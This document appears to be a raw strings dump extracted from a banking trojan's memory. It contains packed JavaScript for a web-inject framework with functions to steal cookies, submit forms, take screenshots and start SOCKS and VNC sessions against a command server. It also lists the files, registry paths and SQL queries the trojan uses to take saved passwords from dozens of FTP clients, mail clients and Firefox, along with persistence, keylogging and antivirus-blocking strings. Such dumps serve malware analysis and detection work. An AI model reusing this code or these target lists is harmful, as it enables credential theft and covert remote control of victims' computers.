\'){h.w=q;o(y(d)=="k"){d(q)}}C{h.w=f.x;o(y(d)=="k"){d(f.x)}}}}}B(e){h.w=s;o(y(d)=="k"){d(s)}}}}f.1b(a,b,F);f.1e(c);o(F==q){j q}A{o(f.T==4&&f.R==Q){o(f.x==\'-\'){j s}C{o(f.x==\' \'){j q}C{j f.x}}}j s}B(e){j s}};i.1g=k(){j i.w};i.1w=k(a,b,c){l=\'1/\' a;j i.m(\'u\',l,b,c)};i.X=k(a,b){l=\'2/\' a;j i.m(\'v\',l,p,b)};i.Z=k(a,b){l=\'3/\' a;j i.m(\'v\',l,p,b)};i.16=k(a){l=\'4/\';j i.m(\'v\',l,p,a)};i.17=k(a,b,c){t=(b==q)?\'S\':\'D\';j i.m(\'v\',\'5/\' t \'/\' a,p,c)};i.1c=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'5/\' t \'/\' a,c,d)};i.1d=k(a,b,c,d){t=(b==q)?\'S\':\'D\';o(y(c)==\'H\'||c==s){c=p;I=\'v\'}C{c=\'1f: \' c;I=\'u\'}j i.m(I,\'6/\' t \'/\' a,c,d)};i.M=k(a,b,c,d){t=(b==q)?\'S\':\'D\';j i.m(\'u\',\'7/\' t \'/\' a,c,d)};i.1h=k(a,b,c,d){l=\'8/\' b \'/\' c \'/\' 1i(a);j i.m(\'v\',l,p,d)};i.1j=k(a,b){l=\'9/\';j i.m(\'u\',l,a,b)};i.1k=k(a){l=\'10/\';j i.m(\'v\',l,p,a)};i.1l=k(a,b){l=\'11/\';j i.m(\'u\',l,a,b)};i.1m=k(a,b){l=\'12/\';j i.m(\'u\',l,a,b)};i.1n=k(a,b,c){l=\'13/\';M=a "\\r\\n" b;j i.m(\'u\',l,M,c)};i.1o=k(a,b){l=\'14/\' a;U=V.1q.1r;j i.m(\'u\',l,U,b)};i.1s=k(a){l=\'15/\';j i.m(\'v\',l,p,a)};i.1t=k(a){K=V.1u(a);K.1v.18(K)}};',62,95,'||||||||||||||||||this|return|function|Url|Query||if|null|true||false||POST|GET|_LastAsync|responseText|typeof|new|try|catch|else||XMLHTTP|Async|ActiveXObject|undefined|Type|var|El|Msxml2|Post|XMLHttpRequest|GetXHR|Key|200|status||readyState|Data|document|Microsoft|GetVal|Version|DelVal|||||||ClearVals|GetServer|removeChild|Math|random|open|PostServer|Get|send|Cookie|GetLastAsync|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|onreadystatechange|location|href|StopVideo|Hide|getElementById|parentNode|SetVal'.split('|'),0,{}));

%s.Key = '%s';

%s.Key = '%s';

%s.Hide('%0.8X%0.8X');

%s.Hide('%0.8X%0.8X');

CertificateAuthority

CertificateAuthority

%s.pfx

%s.pfx

cookies.sqlite

cookies.sqlite

cookies.sqlite-journal

cookies.sqlite-journal

ff/%u/cookies.sqlite

ff/%u/cookies.sqlite

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

Software\df5a3418-685e-4e1f-a26a-aabf17af39b8

[%s - X32 EQ PID: %u TID: %u]

[%s - X32 EQ PID: %u TID: %u]

X-Firefox-Spdy

X-Firefox-Spdy

X-WebKit-CSP

X-WebKit-CSP

hXXps://

hXXps://

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Content-Length: %u

Content-Length: %u

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.1

GET /favicon.ico HTTP/1.0

GET /favicon.ico HTTP/1.0

login=%s&pass=%s

login=%s&pass=%s

KERNEL32.DLL

KERNEL32.DLL

chrome.dll

chrome.dll

127.0.0.1

127.0.0.1

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Software\Microsoft\Windows\CurrentVersion\Run

Software\Microsoft\Windows\CurrentVersion\Run

regsvr32.exe "%s"

regsvr32.exe "%s"

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

&info=%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.2X%0.4X%0.2X%0.4X&proxy=%s

[VNC] Parse param error: %s

[VNC] Parse param error: %s

\regsvr32.exe

\regsvr32.exe

[VNC] Fail create process: %u

[VNC] Fail create process: %u

[VNC] Fail inject to process: %u

[VNC] Fail inject to process: %u

fv_%u.avi

fv_%u.avi

#FV_%u

#FV_%u

#FV_%s

#FV_%s

pass.txt

pass.txt

cert.pfx

cert.pfx

PFXImportCertStore

PFXImportCertStore

Crypt32.dll

Crypt32.dll

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3", false);

user_pref("network.http.spdy.enabled.v3-1", false);

user_pref("network.http.spdy.enabled.v3-1", false);

prefs.js

prefs.js

csrss.exe

csrss.exe

smss.exe

smss.exe

wininit.exe

wininit.exe

services.exe

services.exe

svchost.exe

svchost.exe

lsass.exe

lsass.exe

lsm.exe

lsm.exe

winlogon.exe

winlogon.exe

taskhost.exe

taskhost.exe

WININET.DLL

WININET.DLL

HttpEndRequestA

HttpEndRequestA

HttpEndRequestW

HttpEndRequestW

ADVAPI32.DLL

ADVAPI32.DLL

Init in Browser = %u

Init in Browser = %u

Init in Shell = %u

Init in Shell = %u

[Socks] Failt connect BC [%s:%u]

[Socks] Failt connect BC [%s:%u]

[Socks] Fail parse param: %s

[Socks] Fail parse param: %s

#cert

#cert

[Pony] Fail Get Pass

[Pony] Fail Get Pass

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC LOAD ERROR: %u = %s

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status [Pipe]: %u-%u-%u

DL_EXEC Status[Local]: %u = %u

DL_EXEC Status[Local]: %u = %u

Start Socks addr: %s

Start Socks addr: %s

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Pipe]: %u-%u-%u

Start Socks Status[Local]: %u

Start Socks Status[Local]: %u

Start VNC addr: %s

Start VNC addr: %s

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Pipe]: %u-%u-%u

Start VNC Status[Local]: %u

Start VNC Status[Local]: %u

msvcrt.dll

msvcrt.dll

%0.8X%0.8X%c

%0.8X%0.8X%c

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

/work/1.php?sid=%0.8X%0.8X%0.4X%0.4X%0.2X%0.2X%0.4X

firefox.exe

firefox.exe

explorer.exe

explorer.exe

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\

%Program Files%\Mozilla Firefox\

%Program Files%\Mozilla Firefox\

mozsqlite3.dll

mozsqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_exec

sqlite3_exec

sqlite3_close

sqlite3_close

sqlite3_free

sqlite3_free

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3

hXXp://

hXXp://

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

\\.\pipe\

\\.\pipe\

PID: %u [%0.2u:%0.2u:%0.2u]

PID: %u [%0.2u:%0.2u:%0.2u]

[BC] Cmd Ver Error

[BC] Cmd Ver Error

[BC] Wait Ping error %u[%u]

[BC] Wait Ping error %u[%u]

[BC] Fail Connect: %u

[BC] Fail Connect: %u

[BC] Fail read cmd

[BC] Fail read cmd

[BC] Cmd need reauth

[BC] Cmd need reauth

[BC] cmd error: %u

[BC] cmd error: %u

[BC] Cmd need disconnect

[BC] Cmd need disconnect

ntdll.dll

ntdll.dll

Common Files\Doctor Web

Common Files\Doctor Web

Doctor Web

Doctor Web

McAfee.com

McAfee.com

DrWeb

DrWeb

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\

Kernel32.dll

Kernel32.dll

gdiplus.dll

gdiplus.dll

GdiplusShutdown

GdiplusShutdown

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%u

Dir #%u

.oeaccount

.oeaccount

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

abe2869f-9b47-4cd9-a358-c22904dba7f7

abe2869f-9b47-4cd9-a358-c22904dba7f7

MS IE FTP Passwords

MS IE FTP Passwords

Last Server Port

Last Server Port

Last Server Pass

Last Server Pass

Server.Port

Server.Port

Server.User

Server.User

Server.Host

Server.Host

Server.Pass

Server.Pass

Password

Password

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

\win.ini

\win.ini

WS_FTP

WS_FTP

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

sm.dat

sm.dat

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

Software\TurboFTP

Software\TurboFTP

\TurboFTP

\TurboFTP

addrbk.dat

addrbk.dat

quick.dat

quick.dat

Port

Port

Login

Login

PasswordType

PasswordType

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

FtpSite.xml

FtpSite.xml

RushSite.xml

RushSite.xml

\FTPRush

\FTPRush

bitkinex.ds

bitkinex.ds

NDSites.ini

NDSites.ini

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

sites.db

sites.db

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

QData.dat

QData.dat

SM.arch

SM.arch

FTP .Link\shell\open\command

FTP .Link\shell\open\command

NppFTP.xml

NppFTP.xml

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

ServerList.xml

ServerList.xml

\FTPInfo

\FTPInfo

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

\sites.xml

\sites.xml

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

\32BitFtp.ini

\32BitFtp.ini

FTPCON

FTPCON

FTP CONTROL

FTP CONTROL

FTPVoyager.ftp

FTPVoyager.ftp

\RhinoSoft.com

\RhinoSoft.com

FTPVoyager.qc

FTPVoyager.qc

FTPVoyager.Archive

FTPVoyager.Archive

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Staff-FTP

Staff-FTP

sites.ini

sites.ini

FreshFTP

FreshFTP

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

LastPassword

LastPassword

LastPort

LastPort

BlazeFtp

BlazeFtp

site.dat

site.dat

\BlazeFtp

\BlazeFtp

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

FTPNow

FTPNow

FTP Now

FTP Now

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

My FTP

My FTP

project.ini

project.ini

Mailbox.ini

Mailbox.ini

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

PortNumber

PortNumber

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

FTP destination password

FTP destination password

FTP destination server

FTP destination server

FTP destination port

FTP destination port

FTP destination user

FTP destination user

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

Msi.dll

Msi.dll

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

sites.dat

sites.dat

\LeapWare\LeapFTP

\LeapWare\LeapFTP

unleap.exe

unleap.exe

leapftp

leapftp

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

wcx_PTF.ini

wcx_PTF.ini

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

"password" : "

"password" : "

"password":"

"password":"

\drives.js

\drives.js

\ExpanDrive\favorites.js

\ExpanDrive\favorites.js

\ExpanDrive\drives.js

\ExpanDrive\drives.js

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

FTP Count

FTP Count

FTP File%u

FTP File%u

Robo-FTP

Robo-FTP

SOFTWARE\%s\FTPServers

SOFTWARE\%s\FTPServers

user.config

user.config

.duck

.duck

SiteServer %u\Host

SiteServer %u\Host

SiteServer %u\WebUrl

SiteServer %u\WebUrl

SiteServer %u\Remote Directory

SiteServer %u\Remote Directory

SiteServer %u-User

SiteServer %u-User

SiteServer %u-User PW

SiteServer %u-User PW

SiteServer %u\SFTP

SiteServer %u\SFTP

Keychain

Keychain

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

PTF://

PTF://

signons.sqlite

signons.sqlite

\profiles.ini

\profiles.ini

PathToExe

PathToExe

\Mozilla\Firefox\

\Mozilla\Firefox\

Firefox

Firefox

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

SeaMonkey

SeaMonkey

\Mozilla\Profiles\

\Mozilla\Profiles\

Mozilla

Mozilla

password 51:b:

password 51:b:

SMTP Password

SMTP Password

HTTPMail Password

HTTPMail Password

NNTP Password

NNTP Password

IMAP Password

IMAP Password

POP3 Password

POP3 Password

SMTP Password2

SMTP Password2

HTTPMail Password2

HTTPMail Password2

NNTP Password2

NNTP Password2

IMAP Password2

IMAP Password2

POP3 Password2

POP3 Password2

IMAP Port

IMAP Port

SMTP Port

SMTP Port

POP3 Port

POP3 Port

SMTP User

SMTP User

HTTPMail Server

HTTPMail Server

HTTPMail User Name

HTTPMail User Name

HTTP Server URL

HTTP Server URL

HTTP User

HTTP User

SMTP User Name

SMTP User Name

SMTP Server

SMTP Server

SMTP Email Address

SMTP Email Address

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Pstorec.dll

Pstorec.dll

[VNC] EXEC: %s

[VNC] EXEC: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

IE WND [%0.8X] ENABLED: %s VISIBLED: %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[%u] {%u, %u} {%u, %u} {%0.8X, %0.8X} = %s

[VDESK] Read CMD %u[%u]

[VDESK] Read CMD %u[%u]

[VDESK] NOT AUTH CMD %u

[VDESK] NOT AUTH CMD %u

GetAsyncKeyState

GetAsyncKeyState

USER32.DLL

USER32.DLL

GetKeyboardState

GetKeyboardState

GetKeyState

GetKeyState

?WINMM.DLL

?WINMM.DLL

?DSOUND.DLL

?DSOUND.DLL

ZwConnectPort

ZwConnectPort

NTDLL.DLL

NTDLL.DLL

[VNC] PROCESS=%s

[VNC] PROCESS=%s

\explorer.exe

\explorer.exe

[VNC] SearchApp Status = %u

[VNC] SearchApp Status = %u

[VNC] FileName = %s

[VNC] FileName = %s

[VNC] CmdLine = %s

[VNC] CmdLine = %s

[VNC] W64 Redir OLD=%u

[VNC] W64 Redir OLD=%u

[VNC] CreateProcess Status = %u (%u)

[VNC] CreateProcess Status = %u (%u)

Chrome_WidgetWin_1

Chrome_WidgetWin_1

SysShadow

SysShadow

Chrome_WidgetWin_0

Chrome_WidgetWin_0

Dxtrans.dll

Dxtrans.dll

d3d11.dll

d3d11.dll

d3d9.dll

d3d9.dll

OPENGL32.dll

OPENGL32.dll

d2d1.dll

d2d1.dll

d3d10core.dll

d3d10core.dll

d3d10.dll

d3d10.dll

d3d10_1core.dll

d3d10_1core.dll

d3d10_1.dll

d3d10_1.dll

RegCloseKey

RegCloseKey

RegNotifyChangeKeyValue

RegNotifyChangeKeyValue

ShellExecuteA

ShellExecuteA

DeleteUrlCacheEntry

DeleteUrlCacheEntry

EnumWindows

EnumWindows

ActivateKeyboardLayout

ActivateKeyboardLayout

SetViewportOrgEx

SetViewportOrgEx

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

RegCreateKeyExA

RegCreateKeyExA

RegOpenKeyExA

RegOpenKeyExA

CryptImportKey

CryptImportKey

CryptDestroyKey

CryptDestroyKey

RegOpenKeyA

RegOpenKeyA

CertOpenSystemStoreA

CertOpenSystemStoreA

CertDeleteCertificateFromStore

CertDeleteCertificateFromStore

CertAddCertificateContextToStore

CertAddCertificateContextToStore

CertCloseStore

CertCloseStore

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

CertDuplicateCertificateContext

PFXExportCertStoreEx

PFXExportCertStoreEx

SHDeleteKeyA

SHDeleteKeyA

FindFirstUrlCacheEntryA

FindFirstUrlCacheEntryA

FindNextUrlCacheEntryA

FindNextUrlCacheEntryA

FindCloseUrlCache

FindCloseUrlCache

FindNextUrlCacheEntryW

FindNextUrlCacheEntryW

FindFirstUrlCacheEntryW

FindFirstUrlCacheEntryW

WinExec

WinExec

KERNEL32.dll

KERNEL32.dll

MSVCRT.dll

MSVCRT.dll

IPHLPAPI.DLL

IPHLPAPI.DLL

AVIFIL32.dll

AVIFIL32.dll

GetWindowsDirectoryW

GetWindowsDirectoryW

CallNamedPipeA

CallNamedPipeA

ConnectNamedPipe

ConnectNamedPipe

CreateNamedPipeW

CreateNamedPipeW

DisconnectNamedPipe

DisconnectNamedPipe

CreateNamedPipeA

CreateNamedPipeA

GetWindowsDirectoryA

GetWindowsDirectoryA

COMDLG32.dll

COMDLG32.dll

%System%\imapi.exe

%System%\imapi.exe

iexplore.exe

iexplore.exe

chrome.exe

chrome.exe

\System32\kernel32.dll

\System32\kernel32.dll

\System32\kernelbase.dll

\System32\kernelbase.dll

\ThemeApiPort

\ThemeApiPort

jqs.exe_1976_rwx_010B0000_00054000:

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

%Documents and Settings%\All Users\Application Data\EbgoNqozs\EbgoNqozs.dat

.text

.text

.rdata

.rdata

@.data

@.data

.reloc

.reloc

t.FVSh4

t.FVSh4

_^SSSh

_^SSSh

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

ADVAPI32.dll

ADVAPI32.dll

SHELL32.dll

SHELL32.dll

SHLWAPI.dll

SHLWAPI.dll

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

8CRYPT32.dll

8CRYPT32.dll

NETAPI32.dll

NETAPI32.dll

HttpSendRequestW

HttpSendRequestW

HttpSendRequestExW

HttpSendRequestExW

HttpSendRequestExA

HttpSendRequestExA

HttpSendRequestA

HttpSendRequestA

HttpQueryInfoA

HttpQueryInfoA

HttpOpenRequestW

HttpOpenRequestW

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

wininet.dll

wininet.dll

rapport

rapport

ieframe.dll

ieframe.dll

NSPR4.DLL

NSPR4.DLL

nss3.dll

nss3.dll

kernel32.dll

kernel32.dll

\Google\Chrome\User Data\Default\

\Google\Chrome\User Data\Default\

\Mozilla\Firefox\Profiles\

\Mozilla\Firefox\Profiles\

sol_chrome/

sol_chrome/

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

\Google\Chrome\User Data\Default\Pepper Data\Shockwave Flash\WritableRoot\

@http

@http

SELECT url FROM moz_places

SELECT url FROM moz_places

places.sqlite

places.sqlite

ie/history.txt

ie/history.txt

ff/history.txt

ff/history.txt

ff/%u/places.sqlite

ff/%u/places.sqlite

framework_key%

framework_key%

eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w '};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('l 1b(i){j.R=i;j.z=q;j.W=2;j.Q=l(){p(x K===\'I\'){K=l(){A{k E G("J.H.6.0")}B(e){}A{k E G("J.H.3.0")}B(e){}A{k E G("J.H")}B(e){}A{k E G("Y.H")}B(e){}k u}}k E K()};j.o=l(a,b,c,d){L f=j.Q();L g=q;L h=j;F=(x(d)==\'I\')?u:s;b=\'/\' j.R \'/\' 18.19() \'/\' b;p(F==s){j.z=q;f.1a=l(){A{p(f.T==4){p(f.O!=P||f.y==\'-\'){h.z=u;p(x(d)=="l"){d(u)}}C{p(f.y==\' \'){h.z=s;p(x(d)=="l"){d(s)}}C{h.z=f.y;p(x(d)=="l"){d(f.y)}}}}}B(e){h.z=u;p(x(d)=="l"){d(u)}}}}f.1e(a,b,F);f.1g(c);p(F==s){k s}A{p(f.T==4&&f.O==P){p(f.y==\'-\'){k u}C{p(f.y==\' \'){k s}C{k f.y}}}k u}B(e){k u}};j.1p=l(){k j.z};j.V=l(a,b,c){m=\'1/\' a;k j.o(\'v\',m,b,c)};j.X=l(a,b){m=\'2/\' a;k j.o(\'w\',m,q,b)};j.Z=l(a,b){m=\'3/\' a;k j.o(\'w\',m,q,b)};j.16=l(a){m=\'4/\';k j.o(\'w\',m,q,a)};j.17=l(a,b,c){t=(b==s)?\'S\':\'D\';k j.o(\'w\',\'5/\' t \'/\' a,q,c)};j.1c=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'5/\' t \'/\' a,c,d)};j.1d=l(a,b,c,d){t=(b==s)?\'S\':\'D\';p(x(c)==\'I\'||c==u){c=q;N=\'w\'}C{c=\'1f: \' c;N=\'v\'}k j.o(N,\'6/\' t \'/\' a,c,d)};j.M=l(a,b,c,d){t=(b==s)?\'S\':\'D\';k j.o(\'v\',\'7/\' t \'/\' a,c,d)};j.1h=l(a,b,c,d){m=\'8/\' b \'/\' c \'/\' 1i(a);k j.o(\'w\',m,q,d)};j.1j=l(a,b){m=\'9/\';k j.o(\'v\',m,a,b)};j.1k=l(a){m=\'10/\';k j.o(\'w\',m,q,a)};j.1l=l(a,b){m=\'11/\';k j.o(\'v\',m,a,b)};j.1m=l(a,b){m=\'12/\';k j.o(\'v\',m,a,b)};j.1n=l(a,b,c){m=\'13/\';M=a "\\r\\n" b;k j.o(\'v\',m,M,c)};j.1o=l(a,b){m=\'14/\' a;U=1q.1r.1s;k j.o(\'v\',m,U,b)};j.1t=l(a){m=\'15/\';k j.o(\'w\',m,q,a)}};',62,92,'|||||||||||||||||||this|return|function|Url||Query|if|null||true||false|POST|GET|typeof|responseText|_LastAsync|try|catch|else||new|Async|ActiveXObject|XMLHTTP|undefined|Msxml2|XMLHttpRequest|var|Post|Type|status|200|GetXHR|_Key||readyState|Data|SetVal|Version|GetVal|Microsoft|DelVal|||||||ClearVals|GetServer|Math|random|onreadystatechange|EQFramework|PostServer|Get|open|Cookie|send|ScreenShot|encodeURIComponent|LogAdd|UpdateConfig|StartSocks|StartVnc|SendForm|StartVideo|GetLastAsync|document|location|href|StopVideo'.split('|'),0,{}));

